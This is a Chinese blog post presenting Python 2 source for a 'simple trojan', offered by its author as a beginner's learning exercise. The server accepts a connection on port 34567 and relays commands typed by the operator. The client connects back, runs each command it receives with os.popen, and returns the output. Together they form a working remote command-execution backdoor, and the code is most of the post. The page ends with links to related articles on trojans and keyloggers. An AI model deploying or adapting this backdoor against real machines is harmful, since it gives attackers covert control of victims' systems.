pyhton实现简单的木马程序
十一的晚上,平时都在写工作的代码,好久没有专门看一些知识了,感觉想刚开始学c一样,搞到半夜
还是《python网络编程基础》,写了小脚本,没有任何结构,一句一句的往下写的,反正是可以实现想法了
运行环境:python2
服务端
#!/usr/bin/env python
# -*- coding:utf-8 -*-
"""
木马程序服务端
""" from socket import * host = ''
port = 34567 # 创建socket
sock = socket(AF_INET,SOCK_STREAM)
# 设置端口回收
sock.setsockopt(SOL_SOCKET, SO_REUSEADDR, 1)
# 绑定ip和端口
sock.bind((host,port)) # 设置连接数量
sock.listen(1) print u"服务器已经开启\n\r端口号:%s" %port while 1:
# 等待连接
clientsock,clientaddr = sock.accept()
print u"[%s:%d]上线..." %(clientaddr[0],clientaddr[1])
# 发送数据
clientsock.send("hello...") while 1:
# 接收客户端返回
buf = clientsock.recv(2048 * 4)
if not len(buf):
break
else :
print buf
while 1:
# 输入命令
cmd = raw_input(">")
if not len(cmd):
continue try:
# 发送命令
clientsock.send(cmd.encode())
except Exception as e:
continue break
客户端
#!/usr/bin/env python
# coding:utf-8 """
木马客户端
""" from socket import *
import os host = "127.0.0.1"
port = 34567 # 创建socket
sock = socket(AF_INET,SOCK_STREAM) try:
# 连接服务器
sock.connect((host,port))
except Exception as e:
print u"连接失败:%s" %e
exit() while 1:
# 接收命令
buf = sock.recv(1024)
filename = ''
# 对切换目录命令特殊处理
if buf[0:2] == 'cd':
buf = buf[3:]
os.chdir(buf)
cmd = os.popen('dir')
for str in cmd.readlines():
filename += str
else:
# 执行命令
cmd = os.popen(buf)
for str in cmd.readlines():
filename += str
if not filename:
filename = 'NO...' try:
# 将命令执行内容返回给服务器
sock.sendall(filename + "\r\n")
except Exception as e:
exit()
效果图

菜鸟献丑,大神指点
pyhton实现简单的木马程序的更多相关文章
- Atitit.病毒木马程序的感染 传播扩散 原理
Atitit.病毒木马程序的感染 传播扩散 原理 1. 从木马的发展史考虑,木马可以分为四代 1 2. 木马有两大类,远程控制 vs 自我复制传播1 3. 自我复制2 3.1. 需要知道当前cpu ...
- 一次Linux服务器被入侵和删除木马程序的经历
转载时请务必以超链接形式标明文章 原始出处 .作者信息和本声明.否则将追究法律责任.http://wzlinux.blog.51cto.com/8021085/1740113 一.背景 晚上看到有台服 ...
- Python编写简易木马程序(转载乌云)
Python编写简易木马程序 light · 2015/01/26 10:07 0x00 准备 文章内容仅供学习研究.切勿用于非法用途! 这次我们使用Python编写一个具有键盘记录.截屏以及通信功能 ...
- node.js学习(三)简单的node程序&&模块简单使用&&commonJS规范&&深入理解模块原理
一.一个简单的node程序 1.新建一个txt文件 2.修改后缀 修改之后会弹出这个,点击"是" 3.运行test.js 源文件 使用node.js运行之后的. 如果该路径下没有该 ...
- java基础学习02(简单的java程序)
简单的java程序 一.完成的目标 1. 理解java程序的基本组成 2. 如何对程序代码进行注释 3. java标识符的命名规则 4. 了解java中的关键字 5. 使用java定义变量或声明变量 ...
- Socket编程实践(3) 多连接服务器实现与简单P2P聊天程序例程
SO_REUSEADDR选项 在上一篇文章的最后我们贴出了一个简单的C/S通信的例程.在该例程序中,使用"Ctrl+c"结束通信后,服务器是无法立即重启的,如果尝试重启服务器,将被 ...
- Linux环境下部署完JDK后运行一个简单的Java程序
前言 前一篇文章详细讲解了如何在Windows环境下安装虚拟机+Linux系统,并且成功部署了JDK. 不过部署完JDK之后,我们判断部署是否成功的依据是看"java -version&qu ...
- 编写一个简单的C++程序
编写一个简单的C++程序 每个C++程序都包含一个或多个函数(function),其中一个必须命名为main.操作系统通过调用main来运行C++程序.下面是一个非常简单的main函数,它什么也不干, ...
- C#编写简单的聊天程序
这是一篇基于Socket进行网络编程的入门文章,我对于网络编程的学习并不够深入,这篇文章是对于自己知识的一个巩固,同时希望能为初学的朋友提供一点参考.文章大体分为四个部分:程序的分析与设计.C#网络编 ...
随机推荐
- 记录code修改
package com.hesheng.myapplication; import android.content.Context;import android.graphics.Bitmap;imp ...
- 针对XX系统的可用性方面的相关想法(结合书)
在开始对此系统进行再次分析之前,再回顾下可用性.首先,可用性是与系统故障有关的一个质量属性,是指系统正常运行的时间的比例,一般通过两次故障之间的时间长度或在系统崩溃情况下能恢复正常运行的速度来衡量,同 ...
- MVC中重定向几种方法
//1.Response.Redirect using System; using System.Collections.Generic; using System.Linq; using Syste ...
- 关于thrift的一些探索——thrift序列化技术
thrift的IDL,相当于一个钥匙.而thrift传输过程,相当于从两个房间之间的传输数据. 图-1 (因为Thrift采用了C/S模型,不支持双向通信:client只能远程调用server端的RP ...
- iotop使用详解
iotop是top和iostat程序的混合体,能够显示系统中所有运行进程并将进程根据I/O统计信息排序. 这个软件使用了Linux内核的一些新特性,所以需要2.6.20或者更新的内核. 一般默认情况下 ...
- OC 指向指针的指针
#import <Foundation/Foundation.h> void changeC(char *d) { *d = ; } void changeStr(NSString **s ...
- LevelDB源码分析之:arena内存管理
一.原理 arena是LevelDB内部实现的内存池. 我们知道,对于一个高性能的服务器端程序来说,内存的使用非常重要.C++提供了new/delete来管理内存的申请和释放,但是对于小对象来说,直接 ...
- 用poi-3.6-20091214.jar 实现java给excel资料加密
用poi-3.6-20091214.jar 实现java给excel文件加密我用了网上的很多方法,但是都没有成功! HSSFWorkbook wb = new HSSFWorkbook(new Fil ...
- GCD学习(五) dispatch_barrier_async
先看段代码 dispatch_queue_t concurrentQueue = dispatch_queue_create("my.concurrent.queue", DISP ...
- BZOJ 2120 数颜色 【带修改莫队】
任意门:https://www.lydsy.com/JudgeOnline/problem.php?id=2120 2120: 数颜色 Time Limit: 6 Sec Memory Limit: ...